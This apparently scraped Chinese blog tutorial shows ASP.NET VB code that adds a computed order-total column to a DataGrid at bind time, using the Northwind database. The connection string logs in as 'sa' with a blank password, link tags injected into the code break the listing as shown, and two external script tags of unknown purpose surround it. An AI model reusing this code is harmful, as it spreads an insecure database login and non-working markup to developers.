如何在DataGrid绑定之前为DataSet添加新列

<script language='javascript' src='http://www.shiqiaotou.com/donetk/Header.js'></script>    在实际的应用中经常会遇到根据其它列计算某一新列的结果,实现这样的功能有两种办法:一个直接使用SQL语句;另外就是在绑定时进行动态添加。第一种方法以前已经介绍过。下面就是第二种方法的具体实现:
  
  AddDataSetColumn.ASPx
  
  <%@ Page Language="<a href="http://dev.21tx.com/language/vb/" target="_blank">VB</a>" AutoEventWireup="false" Codebehind="AddDataSetColumn.aspx.vb"
   Inherits="aspx<a href="http://dev.21tx.com/web/" target="_blank">Web</a>.AddDataSetColumn"%>
  <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
  <HTML>
   <HEAD>
   <title>AddDataSetColumn</title>
   <meta name="GENERATOR" content="Microsoft Visual Studio <a href="http://dev.21tx.com/dotnet/" target="_blank">.net</a> 7.1">
   <meta name="CODE_LANGUAGE" content="Visual Basic .NET 7.1">
   <meta name="vs_defaultClientScript" content="<a href="http://dev.21tx.com/web/javascript/" target="_blank">JavaScript</a>">
   <meta name="vs_targetSchema" content="http://schemas.microsoft.com/intellisense/ie5">
   </HEAD>
   <body MS_POSITIONING="GridLayout">
   <form id="Form1" method="post" runat="server">
   <asp:DataGrid id="DataGrid1" runat="server" AutoGenerateColumns="False"
   ShowFooter="True" Width="100%">
   <HeaderStyle Font-Names="宋体" Font-Bold="True" HorizontalAlign="Center"
   ForeColor="Navy" BackColor="LightSalmon"></HeaderStyle>
   <FooterStyle BackColor="#FFCCFF"></FooterStyle>
   <Columns>
   <asp:TemplateColumn HeaderText="订单号">
   <ItemTemplate>
   <asp:Label ID="OrderID" Runat="server"></asp:Label>
   </ItemTemplate>
   </asp:TemplateColumn>
   <asp:TemplateColumn HeaderText="产品号">
   <ItemTemplate>
   <asp:Label ID="ProductID" Runat="server"></asp:Label>
   </ItemTemplate>
   </asp:TemplateColumn>
   <asp:TemplateColumn HeaderText="单价">
   <ItemTemplate>
   <asp:Label ID="UnitPrice" Runat="server"></asp:Label>
   </ItemTemplate>
   </asp:TemplateColumn>
   <asp:TemplateColumn HeaderText="数量">
   <ItemTemplate>
   <asp:Label ID="Quantity" Runat="server"></asp:Label>
   </ItemTemplate>
   </asp:TemplateColumn>
   <asp:TemplateColumn HeaderText="折扣">
   <ItemTemplate>
   <asp:Label ID="Discount" Runat="server"></asp:Label>
   </ItemTemplate>
   </asp:TemplateColumn>
   <asp:TemplateColumn HeaderText="总计">
   <ItemTemplate>
   <asp:Label ID="lblTotal" Runat="server"></asp:Label>
   </ItemTemplate>
   </asp:TemplateColumn>
   </Columns>
   </asp:DataGrid>
   </form>
   </body>
  </HTML>
  
  AddDataSetColumn.aspx.vb
  
  Imports System.Web.UI.WebControls
  
  Public Class AddDataSetColumn
   Inherits System.Web.UI.Page
  
  #Region " Web 窗体设计器生成的代码 "
  
   '该调用是 Web 窗体设计器所必需的。
   <System.Diagnostics.DebuggerStepThrough()> Private Sub InitializeComponent()
  
   End Sub
   Protected WithEvents DataGrid1 As System.Web.UI.WebControls.DataGrid
  
   '注意: 以下占位符声明是 Web 窗体设计器所必需的。
   '不要删除或移动它。
   Private designerPlaceholderDeclaration As System.Object
  
   Private Sub Page_Init(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Init
   'CODEGEN: 此方法调用是 Web 窗体设计器所必需的
   '不要使用代码编辑器修改它。
   InitializeComponent()
   End Sub
  
  #End Region
  
   Private Sub Page_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
   Dim strCnn As String = "Data Source=./NetSDK; Initial Catalog=Northwind;User ID=sa;Password=;"
   Dim oCn As New System.Data.SqlClient.SqlConnection(strCnn)
   Dim strSql As System.String = "select * from [Order Details]"
   Dim ds As System.Data.DataSet = New System.Data.DataSet
   oCn.Open()
   Dim da As System.Data.SqlClient.SqlDataAdapter = New System.Data.SqlClient.SqlDataAdapter(strSql, oCn)
   ' 可以直接使用SQL语句实现,这个方法可以直接绑定,不需要用模板即可
   ' cmd.CommandText = "select *,UnitPrice * Quantity *(1- Discount) as Total from [Order Details]"
   ' 我们使用另外一种方法,在DataGrid绑定之前为DataSet添加一个列
   da.Fill(ds, "DS")
   Dim dvwGrid As DataView = ds.Tables(0).DefaultView
   DataGrid1.DataSource = dvwGrid
   DataGrid1.DataBind()
   oCn.Close()
   oCn.Dispose()
   End Sub
  
   Private Sub DataGrid1_ItemDataBound(ByVal sender As Object, ByVal e As DataGridItemEventArgs) _
   Handles DataGrid1.ItemDataBound
   Dim elemType As ListItemType = e.Item.ItemType
   If (elemType = ListItemType.Item Or elemType = ListItemType.AlternatingItem) Then
   '把DataItem转换回DataRowView对象
   Dim myDataRowView As DataRowView = CType(e.Item.DataItem, DataRowView)
   Dim myDataRow As DataRow = myDataRowView.Row
   CType(e.Item.Cells(0).FindControl("OrderID"), Label).Text = myDataRow("OrderID")
   CType(e.Item.Cells(1).FindControl("ProductID"), Label).Text = myDataRow("ProductID")
   CType(e.Item.Cells(2).FindControl("UnitPrice"), Label).Text = myDataRow("UnitPrice")
   CType(e.Item.Cells(3).FindControl("Quantity"), Label).Text = myDataRow("Quantity")
   CType(e.Item.Cells(4).FindControl("Discount"), Label).Text = myDataRow("Discount")
  
   Dim dblPrice As Double = Double.Parse(myDataRow("UnitPrice"))
   Dim intQuantity As Integer = Int32.Parse(myDataRow("Quantity"))
   Dim intDiscount As Double = Double.Parse(myDataRow("Discount"))
  
   Dim nTotal As String = String.Format("{0:C}", dblPrice * (1 - intDiscount) * intQuantity)
   CType(e.Item.Cells(5).FindControl("lblTotal"), Label).Text = nTotal
   End If
   End Sub
  End Class<script language='javascript' src='http://www.shiqiaotou.com/donetk/Footer.js'></script>
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值